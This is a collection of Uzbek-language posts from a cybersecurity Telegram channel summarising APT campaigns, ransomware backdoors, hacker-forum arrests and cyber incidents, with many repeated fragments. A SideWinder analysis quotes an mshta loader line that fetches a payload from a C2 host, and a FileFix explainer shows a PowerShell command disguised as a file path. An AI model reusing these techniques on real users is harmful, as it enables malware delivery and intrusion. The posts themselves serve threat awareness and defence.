APT guruhi turli sohalarga katta qiziqish uyg'otadi va hujumlarning katta geografiyasi bilan tanishing:
Guruh o'z faoliyatini, ayniqsa Afrikada yanada kengaytirdi. Hujumlar Avstriya, Bangladesh, Kambodja, Jibuti, Misr, Indoneziya, Mozambik, Myanma, Nepal, Pokiston, Filippin, Shri-Lanka, Birlashgan Arab Amirliklari va Vetnamda aniqlangan.
So‘nggi hujumlarda SideWinder Afg‘oniston, Jazoir, Bolgariya, Xitoy, Hindiston, Maldiv orollari, Ruanda, Saudiya Arabistoni, Turkiya va Ugandadagi diplomatik vakolatxonalarni ham nishonga oldi.
Zararli ilovali fishing xabari > RTF ekspluatatsiyasi >
javascript:eval("var gShZVnyR = new ActiveXObject('WScript.Shell');gShZVnyR.Run('mshta.exe)
hxxps://dgtk.depo-govpk[.]com/19263687/trui',0);window.close();")
Ko'rib turganimizdek, mshta ishga tushirildi, u C2 dan hta faylini yuklashi kerak, keyin qonuniy jarayon bilan yuklangan Backdoor Loader kutubxonasi yuklanadi.
Hujum quyidagi nomlarga ega edi:
propsys.dll
vsstrace.dll
JetCfg.dll
Policymanager.dll
winmm.dll
xmllite.dll
dcntele.dll
UxTheme.dll
Bu kutubxona Stealer Bot implantini xotiraga yuklash uchun kerak.
Why waste time? Join the community today!
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
10
— Winnti guruhining Yaponiya tashkilotiga qaratilgan hujum kampaniyasi
WebShell:
- China chopper
- Behinder (Ice Scorpion)
- sqlmap file uploader
Winnti zararli dasturlari (Rootkit, RAT, Loader)
- Dastlabki kirish: "China Chopper" va "Behinder" kabi veb-qobiqlarni joylashtirish uchun Enterprise Resource Planning (ERP) tizimlarida SQL injection zaifliklaridan foydalanish, dastlabki kirish va razvedkani osonlashtiradi.
- Zararli dasturlarni joylashtirish: xavfsizlik mahsulotlarini chetlab o'tish uchun noaniqlik, yangilangan shifrlash algoritmlari va ilg'or qochish usullarini o'z ichiga olgan Winnti zararli dasturining takomillashtirilgan versiyasini o'rnatish.
- Yanal harakat: bir nechta tashkilotlarga ta'sir qiladigan o'zaro bog'langan tarmoqlar bo'ylab zararli dasturlarni tarqatish uchun, xususan, boshqariladigan xizmat ko'rsatuvchi provayderlar (MSP) ichida buzilgan umumiy hisoblardan foydalanish:
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
10
Hujumchilar Yangi Maxsus Backdoor-dan Foydalanmoqda 👽
RansomHub:
Symantec tadqiqotchilari aniqlashicha, RansomHub RaaS dasturining kamida bitta affillangan ishtirokchisi Betruger nomli yangi backdoor-dan foydalanishni boshlagan. Ushbu ko‘p funksiyali zararli dastur ehtimoliy ravishda to‘lov talab qiluvchi hujumlar uchun maxsus ishlab chiqilgan.
Betruger funksiyalari:
Backdoor fayllari mailer.exe va turbomailer.exe nomlari ostida bo‘lib, ular qonuniy dasturlar sifatida yashirishga urinish bo‘lishi mumkin.
🔗 Source.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
RansomHub:
Symantec tadqiqotchilari aniqlashicha, RansomHub RaaS dasturining kamida bitta affillangan ishtirokchisi Betruger nomli yangi backdoor-dan foydalanishni boshlagan. Ushbu ko‘p funksiyali zararli dastur ehtimoliy ravishda to‘lov talab qiluvchi hujumlar uchun maxsus ishlab chiqilgan.
Betruger funksiyalari:
⚪️ Ekran skrinshotlarini olish⚪️ Keylogging (klaviatura yozuvlarini qayd etish)⚪️ Fayllarni boshqaruv serveriga yuklash⚪️ Tarmoqni skanerlash⚪️ Huquqlarni oshirish (privilege escalation)⚪️ Akkount ma’lumotlarini o‘g‘irlash
Backdoor fayllari mailer.exe va turbomailer.exe nomlari ostida bo‘lib, ular qonuniy dasturlar sifatida yashirishga urinish bo‘lishi mumkin.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
10
Machine haqida batafsil ma'lumot olmoqchi bo'lsangiz:
Musobaqa 3-Iyun soat 18:00-dan ertangi 4-Iyun soat 18:00-gacha davom etadi, barchangizga omad!
Forumga qo'shiling —
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
Machine haqida batafsil ma'lumot olmoqchi bo'lsangiz:
Musobaqa 10-iyun soat 17:00-dan ertangi 11-iyun soat 17:00-gacha bo'lib o'tadi, barchangizga omad!
Forumga qo'shiling —
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Ohirgi xabarlarga ko'ra Eron patriot xakkerlik guruhlari o'z aktivlarini boshlaganini e'lon qilishdi, va ularga shu bilan birga dunyoning har bir chekkasidan xakkerlar qo'shilib ularga yordam berish uchun shay turishganini e'lon qildi.
Yaqin orada Pokiston va Hindiston kichik vaqt "davom etgan urushiga" ham har tomondan xakkerlik guruhlari yig'ilgani ammo asosan Hindiston ochiqchasiga katta kompaniyalarda ishlaydigan kiberxavfsizlik muhandislarini ham ushbu amaliyotga tortganligi va haligacha ushbu amaliyotlar davom etayotganligi ma'lum
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10
Nega Eron internetni o‘chirib qo‘ydi
Isroillik Gonjeshke Darande (fors tilidan tarjimada “Yirtqich chumchuq”) xakerlar guruhi Erondagi davlatga qarashli Sepah bankiga kirib borib, uning ma’lumotlarini yo‘q qilganini e’lon qildi. Ushbu hujum natijasida xizmatlarda keng ko‘lamli uzilishlar yuz berdi.
👽 Eronning Islomiy inqilob soqchilari korpusi (IRGC) tarkibiga kiruvchi APT34 (OilRig), APT35 (Charming Kitten), APT39 (Remix Kitten) kabi guruhlar Isroil infratuzilmasiga — suv ta’minoti tizimlari, transport tugunlari, hatto kuzatuv tarmoqlariga ham zarbalar berdi.
Keymous+ va Mysterious Team Bangladesh asosan o‘z kiberoperatsiyalarini Misrga yo‘naltirgan, biroq ikkala guruh ham Isroil tashkilotlariga qarshi hujumlar uchun javobgarlikni o‘z zimmasiga olgan.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
🕹 Isroil Eronga qarshi moliyaviy infratuzilmasiga kuchli kiberhujumlar uyushtirdi. Javoban Eron dezinformatsiya kampaniyalari va psixologik urush orqali hujumlarga qarshi turishga urindi. Bu hodisadan so‘ng xaktivistlar faolligi oshdi, ularning aksariyat harakatlari Eron foydasiga yo‘naltirilgan edi. Sun’iy intellekt yordamida yaratilgan media vositalari orqali olib borilayotgan dezinformatsiya harakatlari onlayn voqelikni shakllantirish va buzishda davom etmoqda.
Isroillik Gonjeshke Darande (fors tilidan tarjimada “Yirtqich chumchuq”) xakerlar guruhi Erondagi davlatga qarashli Sepah bankiga kirib borib, uning ma’lumotlarini yo‘q qilganini e’lon qildi. Ushbu hujum natijasida xizmatlarda keng ko‘lamli uzilishlar yuz berdi.
AQShga qarshi esa “Janob Hamza”, “Arab arvohlari”, “Noma’lum kiber jamoa”, “Dinet”, “Elita otryadi”, “Marokashning qora kiberarmiyasi” va “Bangladeshning sirli jamoasi” tomonidan hujumlar uyushtirildi. Ushbu guruhlar xuddi shu davrda Isroilga qarshi ham chiqishgan.
Keymous+ va Mysterious Team Bangladesh asosan o‘z kiberoperatsiyalarini Misrga yo‘naltirgan, biroq ikkala guruh ham Isroil tashkilotlariga qarshi hujumlar uchun javobgarlikni o‘z zimmasiga olgan.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Bu usul ham ilgari mashhur bo‘lgan ClickFix kabi foydalanuvchini o‘zi zararli kodni ishga tushirishga undaydi. Farqi shundaki, bu safar Win+R oynasi emas, balki Explorer (Проводник) manzil satri ishlatiladi.
🔵 FileFix qanday ishlaydi:
Qurbon maxsus tayyorlangan fishing (firibgarlik) saytga kiradi. U saytda ichki korporativ portal ko‘rinishi berilgan bo‘ladi. Sayt foydalanuvchiga "hujjatni ochish"ni taklif qiladi va quyidagi "yo‘l"ni nusxalashni so‘raydi:
C:\Company\internal-secure\HRPolicy.docx
Aslida esa, bu "yo‘l" emas — quyidagi zararli PowerShell buyrug‘i clipboard’ga (buferga) nusxalanadi:
powershell.exe -c ping example.com # C:\company\internal-secure\HRPolicy.docx
Foydalanuvchiga quyidagi ko‘rsatma beriladi:
Ctrl+L → Ctrl+V → Enter — bularning barchasi Explorer’ning manzil satrida amalga oshiriladi.
Natijada foydalanuvchi hech narsadan shubhalanmasdan Enter tugmasini bosadi va real hujjat ochilmaydi — balki PowerShell komandasi ishga tushadi! Bu esa — bevosita brauzer orqali zararli kodni ishga tushirish degani.
🚫 Nega bu usul xavfli:
Explorer (Проводник) manzil satrida yozilgan komandalar filtrlanmaydi
Windows interfeysi foydalanuvchida shubha uyg‘otmaydi — odatiy ish jarayoni kabi ko‘rinadi
Foydalanuvchi fayl ochaman deb o‘ylaydi, aslida esa zararli kod ishga tushadi.
Hech qanday fayl yuklanmaydi (.exe yoki .lnk) — faqat clipboard orqali ish yuritiladi
🛡 Qanday himoyalanish kerak:
Brauzer.exe → powershell.exe kabi jarayon zanjirlarini kuzatadigan xavfsizlik tizimlaridan foydalaning
Xodimlarga tushuntiring: har qanday “qo‘lda tuzatish”, “hujjat ochish” yoki “sistemani sozlash” talab qiladigan ko‘rsatmalar — potensial xavf
EDR tizimlarini yoqing va Проводник hamda clipboard harakatlarini log qilib boring
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
1
U ko‘plab mashhur ma’lumotlar sizib chiqishiga sababchi bo‘lgan va odatda AQSh hukumati yoki yirik korporatsiyalarni nishonga olgan.
🔥 Asosiy faoliyatlari va hujumlari:
1. AQSh hukumatiga oid ma’lumotlar sizib chiqishi
FBI InfraGard (2022): FBI InfraGard a’zolari (xavfsizlik sohasidagi hamkorlik tarmog‘i) haqida shaxsiy ma’lumotlar (ism, telefon, email) e’lon qilingan. U bu tarmoqqa soxta akkaunt orqali kirgan.
DC Health Link (2023): AQSh Kongressi xodimlarining sog‘liqni sug‘urtasi bo‘yicha ma’lumotlari sizib chiqqan. Taxminan 56,000 kishining ma’lumotlari zarar ko‘rgan.
2. Five Eyes razvedkasi bilan bog‘liq hujum
AQSh va uning ittifoqchilari (UK, Kanada, Avstraliya, Yangi Zelandiya) o‘rtasida almashiladigan maxfiy razvedka hujjatlarini qo‘lga kiritganini da’vo qilgan.
Harbiy loyihalar, xavfsizlik strategiyalari kabi maxfiy hujjatlar tarqatilgan.
3. Apple va Qualcomm maxfiy hujjatlari (2023–2024)
Apple ichki kodlari va Qualcomm’ga tegishli texnik hujjatlar, firmware fayllarini sizdirganini da’vo qilgan.
4. General Electric (GE) hujjatlari (2023)
GE’ning AQSh harbiy loyihalari bilan bog‘liq ichki hujjatlari va parollari tarqatilgan.
5. Shuningdek boshqa kompaniyalar ham.
AMD, T-Mobile, Weee!, va Pfizer kabi yirik firmalarning ichki ma’lumotlari, xodimlar parollari, mahsulotga oid sirlar haqida postlar joylashtirgan.
Forumlar faoliyati: BreachForums va boshqa "dark web" forumlarda faol.
Ijtimoiy muhandislik: Soxta ishchi yoki sherik sifatida kirib ma’lumotlarga ega bo‘lgan.
Ma’lumotlarni sotish yoki bepul tarqatish: Ba’zida diqqatni jalb qilish uchun bepul tarqatadi, ba’zida esa kriptovalyuta evaziga sotadi.
Siyosiy yo‘nalish: Ko‘p hollarda AQSh yoki G‘arb davlatlariga qarshi siyosiy izohlar bilan chiqadi.
Xavfsizlikni ta’minlash: Doimiy laqab almashadi, iz qoldirmaslikka harakat qiladi.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🟢 1-qadam: Nisbatan erkin yoki demokratik tuzumlarga ega mamlakatlarda "kadrlar tanlash agentligi" yoki "masofaviy ish beruvchi" sifatida soxta xizmat yaratish.🟢 2-qadam: Shu xizmat orqali turli texnik mutaxassislarni, ayniqsa, IT sohasidagi mutaxassislarni yollash (ham josuslik, ham PSYOP uchun).🟢 3-qadam: Shu xizmat orqali davlat muassasalari va yirik kompaniyalarda ishlovchi, maxfiy ma'lumotlarga ega bo‘lgan shaxslar yoki fikr yetkazuvchilar bilan aloqa o‘rnatish.🟢 4-qadam: Shu vosita orqali ularni soxta firmalarga yollash yoki mavjud bo‘lmagan loyihalarda ishtirok etishga undash.🟢 5-qadam: Olingan ma’lumotlarni tahlil qilib, ulardan turli axborot operatsiyalarida foydalanish – odatda uchinchi tomon qo‘llari orqali amalga oshiriladi (masalan, soxta akkauntlar, "foydalanuvchilar", "mustaqil blogerlar" va h.k.).
AQSh Adliya vazirligi ma’lumotlariga ko‘ra, Shimoliy Koreyaning bu sxemasi ochilganidan so‘ng, FBI Nyu-Jersi shtatida bir kishini hibsga oldi va 16 ta shtatda joylashgan turli yashirin joylarda noutbuklar va elektron qurilmalarni tintuv qildi.
Bu operatsiya, Shimoliy Koreya o‘zining yadroviy va raketa dasturlarini moliyalashtirish uchun masofaviy ishlayotgan texnik mutaxassislarni yashirincha yollayotgani haqida xavotirlar kuchayganidan so‘ng boshlandi.
Shimoliy Koreya minglab IT mutaxassislarini boshqa mamlakatlarda yashirin ishlashga yuboradi. Ular ko‘pincha Rossiya, Xitoy, Hindiston, Janubiy Koreya yoki AQShdagi kompaniyalarga “frilanser” yoki “masofaviy ishchi” sifatida kiradi. Aslida esa, ularning daromadining katta qismi Shimoliy Koreya hukumatining razvedka yoki harbiy dasturlarini moliyalashtirishga ketadi.
PSYOP (psychological operations) degani nima?
Bu – aholining fikrini shakllantirish, ijtimoiy tarmoqlarda muayyan kayfiyatni yaratish, yoki yolg‘on ma’lumotlar tarqatish orqali raqib davlat ichkarisida ijtimoiy beqarorlik yoki siyosiy bosim hosil qilish.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Qora xakerlikdan, oq xakerlikga bo'lgan yo'l
👽 Dunyoning eng mashhur va shu bilan birga eng xavfli deb topilgan xakerlaridan biri bu — Kevin Mitnick. U nafaqat yirik kompaniyalarni aldashda, balki butun dunyo kiberxavfsizlik tizimlariga ta’sir ko‘rsatishda o‘z nomini tarixga yozdirgan. U hayotini jinoyatdan qonun sari o‘zgartirgan kam sonli insonlardan biridir.
U 5 yil qamoqda saqlangan, shundan 8 oyini yolg‘izlikda o‘tkazgan. Rasmiy idoralar hatto uni “telefon orqali yadroviy urush boshlashi mumkin” deb xavotirga tushgan edi.
⏺ Qamoqdan chiqqach, Kevin Mitnick jinoyat yo‘lidan butunlay voz kechdi va o‘z bilimlarini qonuniy yo‘nalishda ishlatishga qaror qildi. U "white hat hacker" — ya’ni tizimlardagi zaifliklarni aniqlab, ularni himoya qilishga yordam beradigan mutaxassisga aylandi.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
Kevin Mitnick dastlab oddiy qiziqish bilan telefon tarmoqlarini aldash (phreaking) orqali sistemalarga kira boshlagan. Ammo bu qiziqish tez orada qonunni buzadigan darajaga yetdi. 1980-yillarda u bir nechta yirik texnologik kompaniyalar — xususan Nokia, Motorola, Sun Microsystems va Fujitsu tizimlariga ruxsatsiz kirib, maxfiy kodlar, dasturiy ta'minotlar va kompaniyaviy sirlarni qo‘lga kiritgan.
Mitnickning jinoyatlari, ayniqsa, ijtimoiy muhandislik (social engineering) orqali amalga oshirilgan. Bu — texnik vositalarsiz, balki insonlarni manipulyatsiya qilish orqali tizimlarga kirish usuli. U ko‘pincha kompaniya xodimlarini telefon orqali chalg‘itib, ulardan maxfiy ma’lumotlarni aytib qo‘yishlariga erishgan.
1995-yilning fevral oyida, ko‘p yillik ta’qibdan so‘ng, Kevin Mitnick nihoyat FBI tomonidan qo‘lga olindi. Uni Tsutomu Shimomura ismli xavfsizlik mutaxassisi aniqlagan — Shimomura Mitnickning izini texnik usullar orqali topgan va uni huquq-tartibot organlariga yetkazgan. Mitnick qo‘lga olinganda, uning kompyuteridan minglab maxfiy fayllar, buzilgan tizimlarga oid hujjatlar va ko‘plab parollar topilgan.
U 5 yil qamoqda saqlangan, shundan 8 oyini yolg‘izlikda o‘tkazgan. Rasmiy idoralar hatto uni “telefon orqali yadroviy urush boshlashi mumkin” deb xavotirga tushgan edi.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
XSS.is Yopiq Forumning egasi qo’lga olindi
O’zi qanday joy edi?
👽 Pentester, black hats, exploit developer uchun yopiq bo’lgan forumlardan biri bo’lgan, asosan 0day va qo’lda yasalgan exploit-lar, malware, botnetlar, carding, phishing va bypass qilish metodlaridan iborat bo’lgan.
Forum private, har kim ham kira olmaydi.
Profilingiz kuchli bo’lishi va soxta akkauntlardan foydalanishingiz siz birdan fosh bo’lishingizni ta’minlab beradi, aktiv bo’lsangizgina forumda yashay olasiz, o’qib yuradiganlarni esa yo’qotishadi.
🦅 22-iyul kuni forumning adminini qo’lga olingani va $7mln yevro noqonuniy yo’lda topganligi fosh etildi va maxsus kuchlar asosan YEVROPOL va Ukraina kuchlari tomonidan Kiyevda qo’lga olindi.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
O’zi qanday joy edi?
Forum private, har kim ham kira olmaydi.
Profilingiz kuchli bo’lishi va soxta akkauntlardan foydalanishingiz siz birdan fosh bo’lishingizni ta’minlab beradi, aktiv bo’lsangizgina forumda yashay olasiz, o’qib yuradiganlarni esa yo’qotishadi.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Aeroflot aviakompaniyasida axborot tizimlari ishdan chiqdi
O’nlab reyslar bekor qilindi.
Aeroportda yo‘lovchilar soni ko‘payib ketib, chiqishlarda navbatlar hosil bo‘lgan.
🇷🇺 Shuni ham ta’kidlash kerakki, 2024-yil davomida Aeroflot guruhi 55,3 million yo‘lovchiga xizmat ko‘rsatgan bo‘lib, u dunyodagi eng yirik 20 ta aviakompaniyadan biri hisoblanadi.
👽 Gumonlanuvchi sifatida Silent Crow guruhi bo’lishi mumkin.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
O’nlab reyslar bekor qilindi.
28-iyul kuni Rossiyaning yetakchi aviakompaniyasi Aeroflot o‘zining axborot tizimlarida yuz bergan nosozlik sababli o‘nlab parvozlarni bekor qildi. Kompaniya muammo sabablari haqida batafsil ma’lumot bermagan, ammo ayni damda mutaxassislar tizimni tiklash ustida ishlayotganini bildirgan.
Moskvadagi Sheremetyevo aeroportidan uchishi kerak bo‘lgan yo‘lovchilarga o‘z bagajlarini olib chiqib ketish tavsiya etilgan. Kompaniyaning Telegram sahifasida Rossiyaning turli shaharlariga, shuningdek Minsk va Yerevan shaharlariga reyslar bekor qilingani haqida ma’lumot berilgan.
Aeroportda yo‘lovchilar soni ko‘payib ketib, chiqishlarda navbatlar hosil bo‘lgan.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM